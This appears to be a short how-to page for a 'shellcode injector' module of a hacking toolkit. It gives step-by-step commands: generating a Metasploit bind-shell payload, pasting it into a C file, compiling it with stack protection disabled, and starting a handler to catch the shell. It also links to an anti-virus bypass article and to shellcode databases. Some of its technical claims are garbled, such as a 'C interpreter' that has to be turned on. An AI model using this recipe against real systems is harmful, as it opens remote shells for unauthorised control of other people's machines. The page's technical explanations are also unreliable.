.::[ exeshellcode.c - Shellcode Injector ]::.

[pedro ubuntu]

.::[ ShellCode Injector ]::

---

                           "WIKI"

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine but any piece of code that performs a similar task can be called shellcode. Because the function of a payload is not limited to merely spawning a shell. shellcode wikipedia: http://en.wikipedia.org/wiki/Shellcode

                 "UNIX/BSD exec.c FUNTION"

Build shellcode using metasploit and execute it using this injector written in C
This 'injector' written in C only works in unix/bsd based distros and on windows if they have the C interpreter turn on. (in unix systems C its active by default), we just need to inject our shellcode into exec.c funtion 'unsigned char buf [] =' and compile it using gcc to make it executable under UNIX/BSD based distros...


           "DOWNLOAD exec.C FUNTION IN 'RAW' FORMAT"

exec.c: http://pastebin.com/WkBEWM8x

                    "INSTALL GCC PACKAGE"

To install the gcc package and kernel sources in the Debian/Ubuntu Linux distribution, write in terminal: apt-get install gcc make linux-headers-$(uname -r)

                     "HOW TO BUILD/RUN"


  GENERATING: msfpayload linux/x86/shell_bind_tcp LHOST=192.168.1.68 LPORT=666 C >> shellcode.txt

  PASTE: shellcode into the exec.c injector "unsigned char code[] ="

  COMPILING: gcc -fno-stack-protector -z execstack exec.c -o shellcode

  HANDLER: msfcli exploit/multi/handler PAYLOAD=linux/x86/shell_bind_tcp LHOST=192.168.1.68 LPORT=666 E

  EXECUTE: ./shellcode

                   "SHELLCODE FIRST STEPS"

http://www.offensive-security.com/metasploit-unleashed/Alphanumeric_Shellcode project shellcode: http://www.projectshellcode.com/?q=node/12 reverse_tcp_bind_shell(92bytes): http://www.exploit-db.com/exploits/25497/ http://penturalabs.wordpress.com/2014/07/18/execute-shellcode-bypassing-anti-virus/ http://pentesterconfessions.blogspot.pt/2007/10/overview-this-will-be-quick-article.html

                    "SHELLCODE DATABASE"

shell-storm: http://shell-storm.org/shellcode/ exploit-db: http://www.exploit-db.com/shellcode/

                          "P.O.C."

netool toolkit module (show off code): http://pastebin.com/sRvuh6Pk exec.c (C funtion): http://pastebin.com/WkBEWM8x Netool.sh toolkit v4.4 [ C-INJECTOR MODULE ]

Video not available